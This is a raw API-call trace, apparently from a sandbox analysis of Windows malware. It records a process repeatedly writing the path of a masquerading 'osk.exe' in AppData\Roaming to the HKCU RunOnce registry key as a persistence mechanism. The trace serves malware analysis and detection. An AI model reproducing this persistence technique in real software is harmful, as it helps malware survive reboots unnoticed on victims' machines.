Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x624fbd0 | out: ppvObject=0x624fbd0*=0x0) returned 0x80004002 [0256.259] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0x1b [0256.260] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x1a [0256.260] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x5499ce4, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95eee0*="Path", cNames=0x1, lcid=0x409, rgDispId=0x95ef3c | out: rgDispId=0x95ef3c*=0) returned 0x0 [0256.260] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0x1a [0256.260] FileSystemObject:IDispatch:Invoke (in: This=0x5499ce4, dispIdMember=0, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x2, pDispParams=0x95eef8*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95eee8, pExcepInfo=0x95ef08, puArgErr=0x95edf4 | out: pDispParams=0x95eef8*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95eee8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\osk.exe"), varVal2=0x0), pExcepInfo=0x95ef08*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95edf4*=0x624fba0) returned 0x0 [0256.261] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x19 [0256.261] SysStringLen (param_1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x27 [0256.261] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 64 [0256.261] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x95e4b0, cbMultiByte=64, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", lpUsedDefaultChar=0x0) returned 64 [0256.261] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0256.261] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0256.262] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0256.262] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0256.262] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0256.262] RegCloseKey (hKey=0x14c) returned 0x0 [0256.262] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0256.263] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0256.274] TranslateMessage (lpMsg=0x95f69c) returned 0 [0256.274] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0256.275] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0256.275] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0xdfc968, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95eee0*="GetFile", cNames=0x1, lcid=0x409, rgDispId=0x95ef3c | out: rgDispId=0x95ef3c*=10012) returned 0x0 [0256.275] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x624fb70 | out: ppvObject=0x624fb70*=0x0) returned 0x80004002 [0256.275] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0x1b [0256.275] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95ef7c | out: ppvObject=0x95ef7c*=0x0) returned 0x80004002 [0256.275] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0x1c [0256.275] FileSystemObject:IDispatch:Invoke (in: This=0xdfc968, dispIdMember=10012, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x3, pDispParams=0x95ef50*(rgvarg=([0]=0x95eed0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95ef30, pExcepInfo=0x95eefc, puArgErr=0x95edd4 | out: pDispParams=0x95ef50*(rgvarg=([0]=0x95eed0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95ef30*(varType=0x9, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5499ce4, varVal2=0x0), pExcepInfo=0x95eefc*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95edd4*=0x80e0960) returned 0x0 [0256.276] FileSystemObject:IUnknown:Release (This=0xdfc968) returned 0x1b [0256.276] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x95ee30 | out: ppvObject=0x95ee30*=0x0) returned 0x80004002 [0256.276] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6b4*(Data1=0xa731980e, Data2=0x7d1e, Data3=0x4652, Data4=([0]=0x84, [1]=0x32, [2]=0xad, [3]=0x2b, [4]=0x3b, [5]=0xc0, [6]=0xea, [7]=0x44)), ppvObject=0x95ee28 | out: ppvObject=0x95ee28*=0x0) returned 0x80004002 [0256.276] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc634*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x95ee3c | out: ppvObject=0x95ee3c*=0x5499ce4) returned 0x0 [0256.276] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95edc4 | out: ppvObject=0x95edc4*=0x0) returned 0x80004002 [0256.276] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x624fb50 | out: ppvObject=0x624fb50*=0x0) returned 0x80004002 [0256.276] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0x1c [0256.276] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x1b [0256.276] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x5499ce4, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95eee0*="Path", cNames=0x1, lcid=0x409, rgDispId=0x95ef3c | out: rgDispId=0x95ef3c*=0) returned 0x0 [0256.276] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0x1b [0256.276] FileSystemObject:IDispatch:Invoke (in: This=0x5499ce4, dispIdMember=0, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x2, pDispParams=0x95eef8*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95eee8, pExcepInfo=0x95ef08, puArgErr=0x95edf4 | out: pDispParams=0x95eef8*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95eee8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\osk.exe"), varVal2=0x0), pExcepInfo=0x95ef08*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95edf4*=0x624fb20) returned 0x0 [0256.277] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x1a [0256.277] SysStringLen (param_1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x27 [0256.278] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 64 [0256.278] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x95e4b0, cbMultiByte=64, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", lpUsedDefaultChar=0x0) returned 64 [0256.278] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0256.278] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0256.278] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0256.278] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0256.278] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0256.278] RegCloseKey (hKey=0x14c) returned 0x0 [0256.279] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0256.279] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0256.289] TranslateMessage (lpMsg=0x95f69c) returned 0 [0256.289] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0256.295] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0256.296] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0xdfc968, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95eee0*="GetFile", cNames=0x1, lcid=0x409, rgDispId=0x95ef3c | out: rgDispId=0x95ef3c*=10012) returned 0x0 [0256.296] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x624faf0 | out: ppvObject=0x624faf0*=0x0) returned 0x80004002 [0256.296] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0x1c [0256.296] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95ef7c | out: ppvObject=0x95ef7c*=0x0) returned 0x80004002 [0256.296] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0x1d [0256.296] FileSystemObject:IDispatch:Invoke (in: This=0xdfc968, dispIdMember=10012, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x3, pDispParams=0x95ef50*(rgvarg=([0]=0x95eed0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95ef30, pExcepInfo=0x95eefc, puArgErr=0x95edd4 | out: pDispParams=0x95ef50*(rgvarg=([0]=0x95eed0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95ef30*(varType=0x9, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5499ce4, varVal2=0x0), pExcepInfo=0x95eefc*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95edd4*=0x80e0900) returned 0x0 [0256.296] FileSystemObject:IUnknown:Release (This=0xdfc968) returned 0x1c [0256.296] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x95ee30 | out: ppvObject=0x95ee30*=0x0) returned 0x80004002 [0256.297] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6b4*(Data1=0xa731980e, Data2=0x7d1e, Data3=0x4652, Data4=([0]=0x84, [1]=0x32, [2]=0xad, [3]=0x2b, [4]=0x3b, [5]=0xc0, [6]=0xea, [7]=0x44)), ppvObject=0x95ee28 | out: ppvObject=0x95ee28*=0x0) returned 0x80004002 [0256.297] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc634*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x95ee3c | out: ppvObject=0x95ee3c*=0x5499ce4) returned 0x0 [0256.297] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95edc4 | out: ppvObject=0x95edc4*=0x0) returned 0x80004002 [0256.297] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x624fad0 | out: ppvObject=0x624fad0*=0x0) returned 0x80004002 [0256.297] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0x1d [0256.297] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x1c [0256.297] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x5499ce4, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95eee0*="Path", cNames=0x1, lcid=0x409, rgDispId=0x95ef3c | out: rgDispId=0x95ef3c*=0) returned 0x0 [0256.297] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0x1c [0256.297] FileSystemObject:IDispatch:Invoke (in: This=0x5499ce4, dispIdMember=0, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x2, pDispParams=0x95eef8*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95eee8, pExcepInfo=0x95ef08, puArgErr=0x95edf4 | out: pDispParams=0x95eef8*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95eee8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\osk.exe"), varVal2=0x0), pExcepInfo=0x95ef08*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95edf4*=0x624faa0) returned 0x0 [0256.298] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x1b [0256.298] SysStringLen (param_1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x27 [0256.299] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 64 [0256.299] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x95e4b0, cbMultiByte=64, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", lpUsedDefaultChar=0x0) returned 64 [0256.299] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0256.299] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0256.299] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0256.299] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0256.299] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0256.299] RegCloseKey (hKey=0x14c) returned 0x0 [0256.299] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0256.300] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0256.304] TranslateMessage (lpMsg=0x95f69c) returned 0 [0256.305] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0256.305] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0256.305] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0xdfc968, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95eee0*="GetFile", cNames=0x1, lcid=0x409, rgDispId=0x95ef3c | out: rgDispId=0x95ef3c*=10012) returned 0x0 [0256.305] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x624fa70 | out: ppvObject=0x624fa70*=0x0) returned 0x80004002 [0256.305] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0x1d [0256.305] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95ef7c | out: ppvObject=0x95ef7c*=0x0) returned 0x80004002 [0256.305] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0x1e [0256.306] FileSystemObject:IDispatch:Invoke (in: This=0xdfc968, dispIdMember=10012, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x3, pDispParams=0x95ef50*(rgvarg=([0]=0x95eed0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95ef30, pExcepInfo=0x95eefc, puArgErr=0x95edd4 | out: pDispParams=0x95ef50*(rgvarg=([0]=0x95eed0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95ef30*(varType=0x9, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5499ce4, varVal2=0x0), pExcepInfo=0x95eefc*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95edd4*=0x80e08a0) returned 0x0 [0256.306] FileSystemObject:IUnknown:Release (This=0xdfc968) returned 0x1d [0256.306] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x95ee30 | out: ppvObject=0x95ee30*=0x0) returned 0x80004002 [0256.306] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6b4*(Data1=0xa731980e, Data2=0x7d1e, Data3=0x4652, Data4=([0]=0x84, [1]=0x32, [2]=0xad, [3]=0x2b, [4]=0x3b, [5]=0xc0, [6]=0xea, [7]=0x44)), ppvObject=0x95ee28 | out: ppvObject=0x95ee28*=0x0) returned 0x80004002 [0256.306] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc634*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x95ee3c | out: ppvObject=0x95ee3c*=0x5499ce4) returned 0x0 [0256.306] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95edc4 | out: ppvObject=0x95edc4*=0x0) returned 0x80004002 [0256.306] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x624fa50 | out: ppvObject=0x624fa50*=0x0) returned 0x80004002 